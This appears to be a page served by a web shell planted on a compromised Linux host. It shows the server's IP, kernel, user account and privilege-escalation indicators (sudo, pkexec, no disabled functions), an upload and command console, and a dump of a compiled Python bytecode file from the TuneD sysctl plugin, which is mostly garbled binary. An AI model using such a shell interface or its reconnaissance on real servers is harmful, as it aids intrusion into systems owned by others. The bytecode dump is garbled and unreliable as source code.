403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/tuned/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/tuned/plugins/__pycache__/plugin_sysctl.cpython-36.opt-1.pyc
3

��c�@s�ddlZddlmZddlTddlZddlTddlmZddl	j
Z
ddlZddlZej
j�ZddgZdd	gZGd
d�dej�Zdd
�Zdd�Zdd�Zdd�Zdd�Zddd�ZdS)�N�)�base)�*)�commandsZbase_reachable_timeZretrans_timez
/run/sysctl.dz
/etc/sysctl.dcsJeZdZdZ�fdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
d�Z	�Z
S)�SysctlPluginaI
	`sysctl`::
	
	Sets various kernel parameters at runtime.
	+
	This plug-in is used for applying custom `sysctl` settings and should
	only be used to change system settings that are not covered by other
	*TuneD* plug-ins. If the settings are covered by other *TuneD* plug-ins,
	use those plug-ins instead.
	+
	The syntax for this plug-in is
	`_key_=_value_`, where
	`_key_` is the same as the key name provided by the
	`sysctl` utility.
	+
	.Adjusting the kernel runtime kernel.sched_min_granularity_ns value
	====
	----
	[sysctl]
	kernel.sched_min_granularity_ns=3000000
	----
	====
	cs$tt|�j||�d|_t�|_dS)NT)�superr�__init__Z_has_dynamic_optionsr�_cmd)�self�args�kwargs)�	__class__��#/usr/lib/python3.6/plugin_sysctl.pyr*szSysctlPlugin.__init__cCshd|_d|_|j|j�}|jj|i�|_t|j�dkr\tj	d�|j
|�i|_|jj|�|j|_
dS)NFTrz0recovering old sysctl settings from previous run)Z_has_dynamic_tuningZ_has_static_tuning�_storage_key�name�_storage�get�_sysctl_original�len�log�info�_instance_unapply_static�unsetZoptions�_sysctl)r
�instance�storage_keyrrr�_instance_init/s

zSysctlPlugin._instance_initcCs|j|j�}|jj|�dS)N)rrrr)r
rrrrr�_instance_cleanup?szSysctlPlugin._instance_cleanupcCs�xvt|jj��D]d\}}t|�}|dkr8tjd|�q|jj|jj	|��}|j
||�}|dk	r||j|<t||�qW|j
|j�}|jj||j�|jjtjtj�r�tjd�t|j�dS)NzDsysctl option %s will not be set, failed to read the original value.zreapplying system sysctl)�listr�items�_read_sysctlr�error�
_variables�expandr	Zunquote�_process_assignment_modifiersr�
_write_sysctlrrr�setZ_global_cfgZget_bool�constsZCFG_REAPPLY_SYSCTLZCFG_DEF_REAPPLY_SYSCTLr�_apply_system_sysctl)r
r�option�value�original_valueZ	new_valuerrrr�_instance_apply_staticCs"


z#SysctlPlugin._instance_apply_staticcCstd}d}xft|jj��D]T\}}t|�}|j|jj|�|�}|dk	r|j||jj	|�|jj	|�|�dkrd}qW|S)NTF)
rrr r!r%r#r$Z
_verify_valuer	Z	remove_ws)r
r�ignore_missingZdevices�retr*r+Zcurr_valrrr�_instance_verify_staticYs$z$SysctlPlugin._instance_verify_staticFcCs*x$t|jj��D]\}}t||�qWdS)N)rrr r&)r
rZ
full_rollbackr*r+rrrresz%SysctlPlugin._instance_unapply_static)F)�__name__�
__module__�__qualname__�__doc__rrrr-r0r�
__classcell__rr)r
rrsrc
Cs�i}x\tD]T}ytj|�}Wntk
r2w
YnXx(|D] }|jd�sJq:||kr:|||<q:Wq
Wx2t|j��D]"}||}d||f}t||�qpWtd|�dS)Nz.confz%s/%sz/etc/sysctl.conf)�SYSCTL_CONFIG_DIRS�os�listdir�OSError�endswith�sorted�keys�_apply_sysctl_config_file)�instance_sysctl�files�d�flistZfname�pathrrrr)js 


r)cCs�tjd|�yNt|d��,}x$t|d�D]\}}t||||�q(WWdQRXtjd|�WnHttfk
r�}z(|jtjkr�tj	d|t
|�f�WYdd}~XnXdS)Nz%Applying sysctl settings from file %s�rrz.Finished applying sysctl settings from file %sz.Error reading sysctl settings from file %s: %s)r�debug�open�	enumerate�_apply_sysctl_config_liner9�IOError�errno�ENOENTr"�str)rBr>�f�lineno�line�errrr=}sr=cCs�|j�}t|�dks,|ddks,|ddkr0dS|jdd�}t|�dkr^tjd||f�dS|\}}|j�}t|�dkr�tjd||f�dS|j�}||kr�|||kr�tjd||||f�t||d	d
�dS)Nr�#�;�=r�z Syntax error in file %s, line %dz2Overriding sysctl parameter '%s' from '%s' to '%s'T)r.)�stripr�splitrr"rr&)rBrMrNr>Ztmpr*r+rrrrG�s&$rGcCsd|jdd�S)Nz/proc/sys/%s�.�/)�replace)r*rrr�_get_sysctl_path�srYcCs�t|�}yht|d��B}d}x.t|�D]"\}}|dkr$tjd|�dSq$W|j�}WdQRXtjd||f�|Sttfk
r�}z6|j	t	j
kr�tjd|�ntjd|t|�f�dSd}~XnXdS)NrC�rzGFailed to read sysctl parameter '%s', multi-line values are unsupportedz&Value of sysctl parameter '%s' is '%s'zBFailed to read sysctl parameter '%s', the parameter does not existz(Failed to read sysctl parameter '%s': %s)rYrErFrr"rTrDr9rHrIrJrK)r*rBrLrN�ir+rOrrrr!�s(
r!FcCs�t|�}tjj|�tkr*tjd|�dSy6tjd||f�t|d��}|j	|�WdQRXdSt
tfk
r�}zJ|jtj
kr�|r�tjntj}|d||f�ntjd||t|�f�dSd}~XnXdS)Nz+Refusing to set deprecated sysctl option %sFz%Setting sysctl parameter '%s' to '%s'�wTzIFailed to set sysctl parameter '%s' to '%s', the parameter does not existz/Failed to set sysctl parameter '%s' to '%s': %s)rYr7rB�basename�DEPRECATED_SYSCTL_OPTIONSrr"rDrE�writer9rHrIrJrK)r*r+r.rBrLrOZlog_funcrrrr&�s&r&)F)�rerZrZ
decoratorsZ
tuned.logsZtuned�
subprocessZtuned.utils.commandsrZtuned.constsr(rIr7Zlogsrrr^r6ZPluginrr)r=rGrYr!r&rrrr�<module>s&

Y


Youez - 2016 - github.com/yon3zu
LinuXploit